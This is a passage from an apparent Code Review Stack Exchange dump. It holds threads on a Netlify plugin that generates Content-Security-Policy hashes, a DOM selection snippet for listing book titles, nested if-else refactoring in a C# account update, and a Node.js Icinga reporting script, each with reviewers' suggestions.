const htmlFiles = `${buildDir}/**/**.html`
const excludeFiles = (exclude || []).map((filePath) => `!${filePath.replace(/^!/, '')}`)
console.info(`Excluding ${excludeFiles.length} ${excludeFiles.length === 1 ? 'file' : 'files'}`)
const lookup = [htmlFiles].concat(excludeFiles)
const paths = await globby(lookup)
console.info(`Found ${paths.length} HTML ${paths.length === 1 ? 'file' : 'files'}`)
const file = paths.reduce((final, path) => {
const file = fs.readFileSync(path, 'utf-8')
const dom = new JSDOM(file)
const scripts = generateHashesFromElement(dom, 'script')
const styles = generateHashesFromElement(dom, 'style')
const inlineStyles = generateHashesFromStyle(dom, '[style]')
const webPath = path.replace(new RegExp(`^${buildDir}(.*)index\\.html$`), '$1')
const cspString = buildCSPArray(mergedPolicies, setAllPolicies, {
scriptSrc: scripts,
styleSrc: [...styles, ...inlineStyles],
}).join(' ')
final += `${webPath}\n Content-Security-Policy: ${cspString}\n`
return final
}, [])
fs.appendFileSync(`${buildDir}/_headers`, file)
console.info(`Done. Saved at ${buildDir}/_headers.`)
},
}
function mergeWithDefaultPolicies (policies) {
const defaultPolicies = {
defaultSrc: '',
childSrc: '',
connectSrc: '',
fontSrc: '',
frameSrc: '',
imgSrc: '',
manifestSrc: '',
mediaSrc: '',
objectSrc: '',
prefetchSrc: '',
scriptSrc: '',
scriptSrcElem: '',
scriptSrcAttr: '',
styleSrc: '',
styleSrcElem: '',
styleSrcAttr: '',
workerSrc: '',
}
return {...defaultPolicies, ...policies}
}
function generateHashesFromElement (dom, selector) {
const hashes = new Set()
for (const matchedElement of dom.window.document.querySelectorAll(selector)) {
if (matchedElement.innerHTML.length) {
const hash = sha256.arrayBuffer(matchedElement.innerHTML)
const base64hash = Buffer.from(hash).toString('base64')
hashes.add(`'sha256-${base64hash}'`)
}
}
return Array.from(hashes)
}
function generateHashesFromStyle (dom, selector) {
const hashes = new Set()
for (const matchedElement of dom.window.document.querySelectorAll(selector)) {
if (matchedElement.getAttribute('style').length) {
const hash = sha256.arrayBuffer(matchedElement.getAttribute('style'))
const base64hash = Buffer.from(hash).toString('base64')
hashes.add(`'sha256-${base64hash}'`)
}
}
return Array.from(hashes)
}
function buildCSPArray (allPolicies, setAllPolicies, hashes) {
const toKebabCase = (string) => string.replace(/([a-z0-9])([A-Z])/g, '$1-$2').toLowerCase()
return Object.keys(allPolicies).reduce((csp, key) => {
if (hashes[key] || allPolicies[key] || setAllPolicies) {
csp.push(
hashes[key]
? `${toKebabCase(key)} ${hashes[key].join(' ')} ${allPolicies[key]};`
: `${toKebabCase(key)} ${allPolicies[key]};`
)
}
return csp
}, [])
}
</code></pre>
<h2>Queries</h2>
<ul>
<li>The main query is the two <code>generateHashesFromElement</code> and <code>generateHashesFromElement</code> functions, which are identical apart from one uses <code>.innerHTML</code> and the other uses <code>.getAttribute('style')</code>. If possible, I'd like to refactor these to be more DRY.</li>
<li>Should <code>generateHashesFromElement</code> be a closure? I initially built it as one, but the above issue forced me to split it up.</li>
<li>Is this code readable, or should I add comments?</li>
<li>Is the code efficient, or could I make it faster? Run times are a thing in Netlify, so I need to optimise this if possible.</li>
</ul>
|
[] |
[
{
"body": "<blockquote>\n<p><strong>The main query is the two <code>generateHashesFromElement</code> and <code>generateHashesFromElement</code> functions, which are identical apart from one uses <code>.innerHTML</code> and the other uses <code>.getAttribute('style')</code>. If possible, I'd like to refactor these to be more DRY.</strong></p>\n</blockquote>\n<p>There are 2 differences: the <code>if</code> condition that gets checked, and the generation of the hash inside the <code>if</code> block. You can make a general function by passing it one callback, one which maps the element to the value you want to check on it:</p>\n<pre><code>function generateHashes (dom, selector, getPropertyValue) {\n const hashes = new Set() \n for (const matchedElement of dom.window.document.querySelectorAll(selector)) { \n const value = getPropertyValue(matchedElement)\n if (value.length) { \n const hash = sha256.arrayBuffer(value)\n const base64hash = Buffer.from(hash).toString('base64') \n hashes.add(`'sha256-${base64hash}'`) \n } \n } \n return Array.from(hashes) \n}\n</code></pre>\n<p>Then use it with</p>\n<pre><code>generateHashes(dom, 'script', element => element.innerHTML)\n</code></pre>\n<pre><code>generateHashes(dom, '[style]', element => element.getAttribute('style'))\n</code></pre>\n<blockquote>\n<p><strong>Is this code readable, or should I add comments?</strong></p>\n</blockquote>\n<p>It looks pretty good. The <code>console</code>s are useful in that they not only inform the user what's currently going on, but they also show the reader of the code the intent of that section. My only significant question while reading was: what's the function signature of <code>onPostBuild</code>? Maybe Netlify script-writers know at a glance, but I'm not one of them, and it wasn't immediately obvious what the type of the <code>inputs</code> object's values are. You tell us what they are in the question text, but not <em>in the code</em>. (But it's probably fine if you document them <a href=\"https://docs.netlify.com/configure-builds/build-plugins/create-plugins/#inputs\" rel=\"nofollow noreferrer\">elsewhere</a> and have a comment pointing to it)</p>\n<pre><code> const { buildDir, exclude, policies, setAllPolicies } = \n</code></pre>\n<p>A bit of JSDoc describing parameters and a section of example output might help to make things clearer, for <code>onPostBuild</code> and for <code>buildCSPArray</code>.</p>\n<blockquote>\n<p><strong>Is the code efficient?</strong></p>\n</blockquote>\n<p>Not so much. The main culprit is:</p>\n<pre><code>const file = paths.reduce((final, path) => {\n const file = fs.readFileSync(path, 'utf-8')\n // do stuff with file\n return final\n}, [])\n</code></pre>\n<p><code>readFileSync</code> is blocking; the script waits for files to be read one-by-one, and once one is read, it has to finish processing it completely before starting to read the next file. If there are lots of files to be read, this could take a moderate amount of time. Consider processing files in <em>parallel</em> rather than in <em>serial</em>. To do this, use <code>fs.promises</code> and <code>Promise.all</code> to wait for each file to finish, probably something like:</p>\n<pre><code>const processFile = path => (file) => {\n const dom = new JSDOM(file)\n const scripts = generateHashes(dom, 'script', element => element.innerHTML)\n const styles = generateHashes(dom, 'style', element => element.innerHTML)\n const inlineStyles = generateHashes(dom, '[style]'element => element.getAttribute('style'))\n\n const webPath = path.replace(new RegExp(`^${buildDir}(.*)index\\\\.html$`), '$1')\n const cspString = buildCSPArray(mergedPolicies, setAllPolicies, {\n scriptSrc: scripts,\n styleSrc: [...styles, ...inlineStyles],\n }).join(' ')\n return { webPath, cspString };\n}\nconst pathsAndCSPs = await Promise.all(\n paths.map(\n path => fs.promises.readFile(path).then(processFile(path))\n )\n);\nconst combinedCSP = pathsAndCSPs\n .map(\n ({ webPath, cspString }) => `${webPath}\\n Content-Security-Policy: ${cspString}`\n )\n .join('\\n');\n</code></pre>\n<p>Other nitpicks:</p>\n<ul>\n<li><code>const sha256 = require('js-sha256').sha256</code> simplifies to <code>const { sha256 } = require('js-sha256')</code></li>\n<li>Depends on the OS, but make sure that <code>buildDir</code> doesn't have any backslashes. Or, if it does have backslashes, make sure that they get <a href=\"https://stackoverflow.com/q/17863066\">double-escaped</a>, else there will be problems when passed to <code>new RegExp</code>.</li>\n<li>The code works, but <code>toKebabCase</code> requires an input of something in <code>camelCase</code>, maybe call it <code>camelCaseToKebabCase</code> to be explicit.</li>\n</ul>\n<p><strong>buildCSPArray</strong>: I don't think <code>reduce</code> is appropriate when the accumulator being passed through each iteration is the same object. <a href=\"https://www.youtube.com/watch?v=TnZ7jMFCa4Y\" rel=\"nofollow noreferrer\">Here's a discussion by Chrome developers</a> on the subject. I'd prefer declaring an array outside, then iterating with <code>for..of</code>. Or, even better, given what's going on inside the loop here, you could use <code>filter</code> and <code>map</code> - also, use <code>Object.entries</code> to retrieve both the key and value at once, instead of using <code>Object.keys</code> followed by <code>obj[key]</code> lookup. In addition, since the left and right side of the string being pushed are the same, and because optional chaining exists, you can construct the string in a much more concise manner:</p>\n<pre><code>return Object.entries(allPolicies)\n .filter(([key, defaultPolicy]) => hashes[key] || defaultPolicy || setAllPolicies)\n .map(([key, defaultPolicy]) => {\n const policy = `${hashes[key]?.join(' ') || ''} ${defaultPolicy};`;\n return `${camelCaseToKebabCase(key)} ${policy};`\n })\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T15:12:19.340",
"Id": "489559",
"Score": "0",
"body": "Great review! The function idea for `generateHashesFrom*` is perfect. That initial reduce with `[]` is because I was pushing it to an array and _then_ reducing it down (had some queries about whether I needed to parse existing files). What's the policy on accepting answers? I assume wait a bit."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T15:18:44.897",
"Id": "489561",
"Score": "0",
"body": "Oops, I misread the indentation, you're right. (I like 4-space indentation for longer scripts, it makes those sorts of mistakes much harder to make) Feel free to wait a while to see if anyone else has ideas"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T16:04:49.370",
"Id": "489578",
"Score": "0",
"body": "Question about your `processFile` function. It needs to access `path` (see `path.replace(blah)`) but I can't see where it gets passed in. Would `fs.promises.readFile()` also return the path into the promise?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T16:11:07.003",
"Id": "489581",
"Score": "0",
"body": "Mind blank - `path` is there in that `map`, so I've made a closure."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T16:16:02.123",
"Id": "489582",
"Score": "0",
"body": "No, you're right, `path` needs to be passed along. I wanted to put `processFile` in a separate function to clearly separate it from the `Promise.all` and `.map` sections, but it needs an extra variable, so I made `processFile` a HOF instead so it can see the `path`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T05:53:33.937",
"Id": "489658",
"Score": "0",
"body": "Also, I'm afraid [netlify doesn't like the `?.` syntax](https://i.stack.imgur.com/3tCK0.png)! Replaced it with `hashes[key] && hashes[key].join(' ')` etc"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-26T10:20:20.983",
"Id": "513125",
"Score": "0",
"body": "Are there any differences/advantages between `require('js-sha256').sha256` and the Node.js built-in `crypto.createHash('sha256')`?"
}
],
"meta_data": {
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T14:52:32.533",
"Id": "249684",
"ParentId": "249678",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T12:11:52.450",
"Id": "249678",
"Score": "4",
"Tags": [
"performance",
"node.js"
],
"Title": "Netlify plugin to generate CSP rules on the fly"
}
|
249678
|
<p>To get the book list from <a href="https://www.java67.com/2015/09/top-10-algorithm-books-every-programmer-read-learn.html" rel="nofollow noreferrer">https://www.java67.com/2015/09/top-10-algorithm-books-every-programmer-read-learn.html</a> , I am using the following code in the console of the firefox DevTools:</p>
<pre><code>var select = document.querySelectorAll("div.post-body.entry-content div h3 b");
for (i = 0; i < select.length; ++i) {
try {
var title = select[i].querySelectorAll("u")[0];
console.log (title.innerHTML);
}
catch(err) {
}
try {
var author = select[i].querySelectorAll("a")[0];
console.log (author.innerHTML);
}
catch(err) {
}
}
</code></pre>
<p>The output is:</p>
<pre><code>Introduction to Algorithms by Thomas H. Corman debugger eval code:12:13
Algorithms by Robert Sedgewick &amp; Kevin Wayne debugger eval code:12:13
The Algorithm Design Manual by Steve S. Skiena debugger eval code:12:13
Algorithm for Interviews debugger eval code:12:13
5. Algorithm in Nutshell debugger eval code:5:13
6. Algorithm Design by Kleinberg &amp; Tardos debugger eval code:5:13
<a href="https://dev.to/javinpaul/10-best-books-to-learn-data-structure-and-algorithms-in-java-python-c-and-c-5743" target="_blank">7. Introduction to Algorithms: A Creative Approach</a> debugger eval code:5:13
7. Introduction to Algorithms: A Creative Approach debugger eval code:12:13
8. The Design and Analysis of Algorithms debugger eval code:5:13
9. Data Structures and Algorithms. Aho, Ullman &amp; Hopcroft debugger eval code:5:13
10. Python Algorithms: Mastering Basic Algorithms in the Python Language debugger eval code:5:13
undefined
</code></pre>
<p>You can see from the code that the first part <code>div.post-body.entry-content div h3 b</code> is same. Then I am using <code>u</code> or <code>a</code>. Is there any easier way to achieve this.</p>
|
[] |
[
{
"body": "<p>In a CSS selector you can use a <a href=\"https://developer.mozilla.org/en-US/docs/Web/CSS/Selector_list\" rel=\"nofollow noreferrer\">comma</a> to select multiple items.</p>\n<pre><code>var select = document.querySelectorAll("div.post-body.entry-content div h3 b");\n\nfor (i = 0; i < select.length; ++i) {\n var title = select[i].querySelectorAll("u, a")[0];\n console.log (title.innerHTML);\n}\n</code></pre>\n<p>This will get both <code>u</code> and <code>a</code> elements, but if only one of them exists, which seems to be the case here, it will get what you need.</p>\n<p>You can even use a single <code>querySelectorAll</code>, but you have to repeat the whole thing.</p>\n<pre><code>document.querySelectorAll("div.post-body.entry-content div h3 b a, div.post-body.entry-content div h3 b u")\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T14:13:19.167",
"Id": "249683",
"ParentId": "249679",
"Score": "3"
}
},
{
"body": "<p><strong>Don't implicitly create global variables</strong> <code>for (i = 0;</code> uses a global <code>i</code>. Always declare variables before using them - in modern times, declare them with <code>let</code> or <code>const</code>, not <code>var</code> (which has too many problems, such as an unintuitive function scope rather than block scope, to be worth using nowadays)</p>\n<p><strong>Iterators</strong> Or, even better, rather than iterating manually, invoke the NodeList's iterator, and use <code>for..of</code> instead, eg:</p>\n<pre><code>for (const b of bs) {\n // do stuff with each <b> element\n}\n</code></pre>\n<p><strong>querySelector</strong> If you only want to select one element matching a selector, don't use <code>querySelectorAll</code> followed by <code>[0]</code> index lookup - use <code>querySelector</code> instead.</p>\n<p><strong>try/catch</strong> In predictable, synchronous code, there shouldn't be any need for <code>try</code>/<code>catch</code>. If you aren't sure whether an element exists, just test it first, instead of possibly throwing an error.</p>\n<p><strong><code>textContent</code></strong> Use <code>textContent</code> rather than <code>innerHTML</code> - <code>textContent</code> is faster and more appropriate when you aren't deliberately retrieving HTML markup. Also, <code>.innerHTML</code> gives you difficult HTML entities, as you can see with your <code>Kleinberg &amp; Tardos</code>, instead of <code>Kleinberg & Tardos</code></p>\n<p>Try something like this instead:</p>\n<pre><code>const bs = document.querySelectorAll("div.post-body.entry-content div h3 b");\nfor (const b of bs) {\n const child = b.querySelector('u, a');\n if (child) {\n console.log(child.textContent);\n }\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T16:46:22.387",
"Id": "489586",
"Score": "0",
"body": "And that's called a code review. Thank you very much."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T10:28:34.480",
"Id": "489676",
"Score": "1",
"body": "@blueray Also, empty `catch` blocks are bad. You should at _least_ log the error so you know it's happening."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T14:14:02.320",
"Id": "489697",
"Score": "1",
"body": "@marcellothearcane I believe the `try`/`catch` was only to make sure that when a `b` doesn't have a `u` or `a` child, the program continues instead of throwing an error and stopping. In other words, it was just there for control flow (and checking whether the element exists first before trying to examine its content is the better approach)"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T15:06:32.570",
"Id": "249685",
"ParentId": "249679",
"Score": "8"
}
},
{
"body": "<h3>Spacing</h3>\n<p>While spacing doesn't matter in JavaScript, some lines have more space than needed. For example, on this line, there are two spaces after the assignment operator:</p>\n<blockquote>\n<pre><code>var select = document.querySelectorAll("div.post-body.entry-content div h3 b");\n ^\n</code></pre>\n</blockquote>\n<p>One space in that spot would be fine. Technically no space is required but idiomatic code contains a single space in such spots. Some style guides call for a single space as well (e.g. <a href=\"https://google.github.io/styleguide/jsguide.html#formatting-horizontal-whitespace\" rel=\"nofollow noreferrer\">Google JS</a>).</p>\n<p>And the calls to function <code>console.log</code> don't need a space before the opening parenthesis:</p>\n<blockquote>\n<pre><code> console.log (author.innerHTML);\n ^\n</code></pre>\n</blockquote>\n<h3>Naming</h3>\n<p>The variable name <code>select</code> might be more appropriate as <code>selection</code> or <code>elements</code> so as to avoid confusion with a <code><select></code> element.</p>\n<p>Names like <code>title</code> and <code>author</code> could be confused for strings yet those variables hold references to HTMLElement nodes so some could argue that having <code>Element</code> or <code>El</code> in the name would be appropriate.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T17:21:09.387",
"Id": "249691",
"ParentId": "249679",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "249685",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T12:20:44.613",
"Id": "249679",
"Score": "6",
"Tags": [
"javascript",
"css",
"dom"
],
"Title": "Selecting elements from the DOM of a page"
}
|
249679
|
<p>The method works, but I would like to know if there is any way to make it more readable, optimized?</p>
<p>I have user data (i want to import/update it).
Accounts is finded by user data.</p>
<p>========</p>
<p>User order data is entered into the system.</p>
<p>userData.Id - user Id; userData.OrderNumber - user order number.</p>
<p>The "UpdateAccount" method below is used by the user.
The user enters their Id and OrderNumber into the system (there are FirstName, LastName, etc., but they are irrelevant here because they are used in the UpdateAllUserDataToAccount method).
Therefore, it is necessary to discover whether an account with the relevant data exists in the system.</p>
<p>You can update account data if the account has userData.OrderNumber or userData.Id.
If no account under userData.OrderNumber or userData.Id is found in the system then create a new account and update its data.
Do not allow anything if userData.OrderNumber, userData.Id is in different account (can not exist in the system in different account).</p>
<p>An account can have userData.OrderNumber in the system and not userData.Id because the employee registered the parcel but did not have a user id.
An account can have userData.Id in the system and not userData.OrderNumber because the user has previously been registered in the system.</p>
<p>The user data userData.OrderNumber and userData.Id are unique and belong to only one user.</p>
<p>bool _isSpecialData - to indicate that the user is special (set before this code).</p>
<pre><code>private void UpdateAccount(UserModel userData)
{
Account accountById = _accountController.GetAccountById(userData.Id);
Account accountByNumber = _accountController.GetAccountByNumber(userData.Number);
bool _isSpecialData = accountByNumber != null ? accountByNumber.Vip : false;
if (accountById != null)
{
if (accountByNumber != null)
{
if (accountById.Id == accountByNumber.Id)
{
if (_isSpecialData)
{
AddPartUserDataToAccount(userData, accountByNumber);
if (userData.Status == Blocked) return;
}
}
else
{
_log.Error($"User data can not be in different accounts");
return;
}
}
else
{
AddPartUserDataToAccount(userData, accountById);
}
}
else
{
if (accountByNumber != null)
{
if (accountByNumber.Id == null)
{
accountByNumber.Id = userData.Id;
if (_isSpecialData)
{
AddPartUserDataToAccount(userData, accountByNumber);
if (userData.Status == Blocked) return;
}
}
else
{
_log.Error($"accountByNumber.Id can be just with the same value as userData.Id or with null (because it was not set in first place)");
return;
}
}
else
{
CreateNewAccount(userData);
}
}
UpdateAllUserDataToAccount(userData);
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T12:41:51.347",
"Id": "489544",
"Score": "1",
"body": "Can you please provide more of the code? It's not clear, what types variables like `accountById`, `accountByNumber` etc. are. This could be useful. At least post the entire method."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T13:02:38.717",
"Id": "489547",
"Score": "0",
"body": "I added more info"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T13:31:33.660",
"Id": "489550",
"Score": "0",
"body": "Please add the entire method."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T14:09:01.313",
"Id": "489552",
"Score": "0",
"body": "Updated code. And that's it. This is all my code."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T15:54:31.463",
"Id": "489575",
"Score": "0",
"body": "Considering that according to your code `accountByNumber` can be null, `bool _isSpecialData = accountByNumber.Vip;` would throw an exception in such a case."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T17:34:47.540",
"Id": "489589",
"Score": "0",
"body": "please share `GetAccountById` and `GetAccountByNumber` methods along with `UserModel` and `Account` classes. the code seems over-engineered as both `accountById` and `accountByNumber` have the same type."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T07:03:45.657",
"Id": "489663",
"Score": "0",
"body": "I followed \"How do I ask a good question\" and updated description."
}
] |
[
{
"body": "<p>This code is hard to read, deeply nested and hard to understand. But you already know that.</p>\n<p>Since you have a lot of binary cases (if-else) I suggest creating a truth table\non paper or whiteboard <a href=\"https://en.wikipedia.org/wiki/Truth_table#Binary_operations\" rel=\"nofollow noreferrer\">https://en.wikipedia.org/wiki/Truth_table#Binary_operations</a> for your different combinations of input and output.</p>\n<p>This should help you figure out which cases can be simplified, short-circuit, etc, and then you can rewrite the code to make it more readable. Use early returns and maybe refactor it into functions that allow you to check error conditions and return/exit as soon as possible for each case.</p>\n<p>The end goal should be a code structure that doesn't nest <strike>4</strike> 5 levels deep, preferrably no more than 2.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T11:55:57.123",
"Id": "249729",
"ParentId": "249680",
"Score": "2"
}
},
{
"body": "<p>well What I would do is created model from the if of validations</p>\n<p>you have 3 path in the if</p>\n<pre><code>when accountById is null and accountByNumber is null\nwhen accountById is not null\nand the else\n</code></pre>\n<p>Look at the code and see how the TypeCase property let identify each case</p>\n<p>using your if statement</p>\n<pre><code>private void UpdateAccount(UserModel userData)\n{ \n var result = ProcessUpdateAccount(userData);\n\n if (result.HasError) _log.Error(result.ErrorText);\n\n if (result.AllowGlobalUpdate) UpdateAllUserDataToAccount(userData);\n}\n</code></pre>\n<p>the main function</p>\n<pre><code>Public UpdateResult ProcessUpdateAccount(UserModel userData){\n\n var firsAccount = _accountController.GetAccountById(userId);\n var secondAccount = _accountController.GetAccountByNumber(userNumber);\n\n if (firstAccount == null && secondAccount == 0)\n {\n CreateNewAccount(userData);\n\n return new UpdateResult() { TypeCase = 1, Title = "new account", HasError = false, ErrorText = "", AllowGlobalUpdate = true };\n }\n\n if (firstAccount != null) return FirstAccountPath(userData, firstAccount, secondAccount);\n\n //second account path\n return SecondAccountPath(userData, secondAccount); \n\n}\n</code></pre>\n<p>so accountById Path</p>\n<pre><code>Public UpdateResult FirstAccountPath(\n UserModel userData,\n Account firstAccount, \n Account secondAccount){\n\n if (secoundAccount == null)\n {\n AddPartUserDataToAccount(userData, firstAccount,);\n return new UpdateResult() { TypeCase = 2, Title = "First OK Second Not Exists", HasError = False, ErrorText = "", AllowGlobalUpdate = true };\n }\n\n if (firstAccount.Id != secoundAccount.Id)\n {\n return new UpdateResult() { TypeCase = 3, Title = "", HasError = true, ErrorText = "User data can not be in different accounts", AllowGlobalUpdate = false };\n }\n\n if (seconAccount.Vip){\n AddPartUserDataToAccount(userData, secondAccount);\n\n if (userData.Status == Blocked) \n return new UpdateResult() { TypeCase = 4, Title = "", HasError = false, ErrorText = "", AllowGlobalUpdate = false }; \n \n return new UpdateResult() { TypeCase = 5, Title = "VIP", HasError = false, ErrorText = "", AllowGlobalUpdate = true }; \n\n }\n\n //No case in code path\n return new UpdateResult() { TypeCase = 6, Title = "No Case in code Path", HasError = false, ErrorText = "", AllowGlobalUpdate = true }; \n\n}\n</code></pre>\n<p>and finally</p>\n<pre><code>Public UpdateResult SecondAccountPath(\n UserModel userData,\n Account secondAccount){\n\n if (secondAccount.Id != null)\n {\n return new UpdateResult() { TypeCase = 7, Title = "", HasError = true, \n ErrorText = "accountByNumber.Id can be just with the same value as userData.Id or with null (because it was not set in first place)", \n AllowGlobalUpdate = false };\n }\n\n secondAccount.Id = userData.Id;\n\n if (seconAccount.Vip)\n {\n AddPartUserDataToAccount(userData, secondAccount);\n if (userData.Status == Blocked) \n return new UpdateResult(){ TypeCase = 8, Title = "", HasError = false, ErrorText = "", AllowGlobalUpdate = false }; \n\n return new UpdateResult() { TypeCase = 9, Title = "", HasError = false, ErrorText = "", AllowGlobalUpdate = true }; \n }\n\n //No case in code path\n return new UpdateResult() { TypeCase = 10, Title = "No Case in code Path", HasError = false, ErrorText = "", AllowGlobalUpdate = true }; \n\n}\n</code></pre>\n<p>so the UpdateResult class</p>\n<pre><code>Public Class UpdateResult\n{\n public int TypeCase {get;set;}\n public Title TypeCase {get;set;}\n public HasError TypeCase {get;set;}\n public ErrorText TypeCase {get;set;}\n public AllowGlobalUpdate TypeCase {get;set;}\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-28T06:13:14.360",
"Id": "490201",
"Score": "0",
"body": "I think I will use this option. I'll let you know how I did"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T22:37:44.527",
"Id": "249772",
"ParentId": "249680",
"Score": "2"
}
},
{
"body": "<p>I think it can be something like this, also it can be improved by using variable names that reflects your business conditions better.</p>\n<pre><code>private void UpdateAccount(UserModel userData)\n {\n Account accountById = _accountController.GetAccountById(userData.Id);\n Account accountByNumber = _accountController.GetAccountByNumber(userData.Number);\n bool _isSpecialData = accountByNumber != null ? accountByNumber.Vip : false;\n bool isBothAccountByIdAndNumberExistsAndMatch = accountById != null && accountByNumber != null && accountById.Id == accountByNumber.Id;\n bool isBothAccountByIdAndNumberExistsAndNotMatch_Exception = accountById != null && accountByNumber != null && accountById.Id != accountByNumber.Id;\n bool isAccountByIdOnlyExists = accountById != null && accountByNumber == null;\n bool isAccountByNumberOnlyExistsWithEmptyId = accountByNumber != null && accountByNumber.Id == null && accountById == null;\n bool isAccountByNumberOnlyExistsWithNonEmptyId_Exception = accountByNumber != null && accountByNumber.Id != null && accountById == null;\n bool shouldCreateNewAccount = accountById == null && accountByNumber == null;\n\n\n if (isBothAccountByIdAndNumberExistsAndNotMatch_Exception)\n {\n _log.Error($"User data can not be in different accounts");\n return;\n }\n else if (isAccountByNumberOnlyExistsWithNonEmptyId_Exception)\n {\n _log.Error($"accountByNumber.Id can be just with the same value as userData.Id or with null (because it was not set in first place)");\n return;\n }\n else if (shouldCreateNewAccount)\n {\n CreateNewAccount(userData);\n }\n else if (isAccountByIdOnlyExists)\n {\n AddPartUserDataToAccount(userData, accountById);\n }\n else if (isAccountByNumberOnlyExistsWithEmptyId)\n {\n accountByNumber.Id = userData.Id;\n if (_isSpecialData)\n {\n AddPartUserDataToAccount(userData, accountByNumber);\n if (userData.Status == "Blocked") return;\n }\n }\n else if (isBothAccountByIdAndNumberExistsAndMatch && _isSpecialData)\n {\n AddPartUserDataToAccount(userData, accountByNumber);\n if (userData.Status == "Blocked") return;\n }\n UpdateAllUserDataToAccount(userData);\n }\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-06T09:33:12.397",
"Id": "491010",
"Score": "0",
"body": "I thought of such a variant but I still have too much if-else variation here"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T22:46:48.040",
"Id": "249811",
"ParentId": "249680",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "249772",
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T12:36:20.137",
"Id": "249680",
"Score": "2",
"Tags": [
"c#",
"performance",
".net",
"nested"
],
"Title": "C# Update account based on user order data. Nested if-else optimization with almost similar values"
}
|
249680
|
<p>I've created a Node.js package that retrieves data from Icinga (a monitoring platform), formats it and passes it off to a class that generates some HTML and then sends it all out as an email.</p>
<p>The email, in its simplest form, looks something like this:</p>
<p><a href="https://i.stack.imgur.com/i8KJ0.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/i8KJ0.png" alt="Basic image of said table" /></a></p>
<p>I come from a Ruby/Python background and this is the first time I've ever delved into Node. The code below works and does what I need it to but I have the feeling it isn't using some of Node's best practices. I make 2 API calls, after the first one happens, inside the callback, I make another API call and then when all the data is returned I invoke a function to send off the email. I'm pretty sure this could be using async/await and/or Promises but I'm just not sure where to start in order to refactor it.</p>
<pre><code>// Get the data
const warning = 1;
const error = 2;
const icingaServer = new icingaApi(icingaConfig.url, icingaConfig.port, icingaConfig.username, icingaConfig.password);
const clients = [
{ 'Client 1': '**.**.client_1.**.**' },
{ 'Client 2': '**.**.client_2.**.**' }
];
const data = [];
function sendEmail() {
nodemailerMailgun.sendMail({
from: 'some@email.com',
to: appConfig.sendees,
subject: 'Some subject',
html: new tableHtmlGenerator(data).run()
}).then((_res) => {
let emailAddresses = appConfig.sendees.join(', ');
console.log(`Email sent successfully to the following addresses: ${emailAddresses}`);
}).catch((err) => {
console.log(`Error: ${err.message}`);
});
}
function allDataRetrieved() {
return data.length === clients.length;
}
clients.forEach((clientMap) => {
Object.entries(clientMap).forEach(([client, hostnameWildcard]) => {
let totalHosts;
let totalServices;
let errors;
let warnings;
icingaServer.getServiceFiltered({
"filter": "match(service_name, service.host_name)",
"filter_vars": {
"service_name": hostnameWildcard
}
}, (err, res) => {
if (err) return `Error: ${err}`;
warnings = res.filter(o => o.attrs.state === warning).length;
errors = res.filter(o => o.attrs.state === error).length;
totalServices = res.length;
icingaServer.getHostFiltered({
"filter": "match(host_name, host.name)",
"filter_vars": {
"host_name": hostnameWildcard
}
}, (err, res) => {
if (err) return `Error: ${err}`;
warnings += res.filter(o => o.attrs.state === warning).length;
errors += res.filter(o => o.attrs.state === error).length;
totalHosts = res.length;
data.push({
name: `${client} (${totalHosts}/${totalServices})`,
errors: errors,
warnings: warnings
});
if (allDataRetrieved()) sendEmail();
});
});
});
});
</code></pre>
<p>I've omitted all the <code>require</code> and <code>const</code> definitions at the top of this file as they're not really needed in order to understand the code in my opinion.</p>
<p>The main issue is that one API call happens inside the callback of another API call and this feels nasty to me. I also wait for all the data to be pushed to the <code>data</code> variable by doing a simple but crude <code>if</code> statement to check if all the data has been retrieved and pushed to the array, if it has then the email is sent.</p>
